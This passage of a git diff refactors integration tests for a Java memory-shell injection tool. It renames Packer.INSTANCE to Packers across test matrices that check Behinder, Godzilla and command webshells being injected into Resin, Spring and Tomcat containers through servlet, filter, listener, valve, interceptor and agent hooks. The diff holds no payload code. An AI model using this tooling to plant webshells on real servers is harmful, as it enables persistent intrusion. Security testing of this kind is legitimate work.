ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -75,7 +75,7 @@ public class Resin4067ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V11, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 71523c08..f036569d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springmvc; import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,27 +43,27 @@ public class SpringBoot2ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar) ); } @@ -75,7 +75,7 @@ public class SpringBoot2ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java index b15c8fa5..5dd41cf3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springmvc; import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,24 +41,24 @@ public class SpringBoot2WarContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64) ); } @@ -70,7 +70,7 @@ public class SpringBoot2WarContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java index 85a07531..d7ab3b21 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springmvc; import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,15 +43,15 @@ public class SpringBoot3ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packers.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar) ); } @@ -63,7 +63,7 @@ public class SpringBoot3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java index c6823233..8b87daf9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springwebflux; import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,14 +41,14 @@ public class SpringBoot2WebFluxContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64) ); } @@ -61,7 +61,7 @@ public class SpringBoot2WebFluxContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V1_8, packer); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java index 2d7b47ac..51dda15e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.springwebflux; import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,14 +41,14 @@ public class SpringBoot3WebFluxContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.Base64), + arguments(imageName, SpringWebFluxShell.WEB_FILTER, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_METHOD, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.HANDLER_FUNCTION, ShellTool.Command, Packers.Base64), + arguments(imageName, SpringWebFluxShell.NETTY_HANDLER, ShellTool.Command, Packers.Base64) ); } @@ -60,7 +60,7 @@ public class SpringBoot3WebFluxContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index b1d76128..5ffc0052 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,36 +41,36 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, 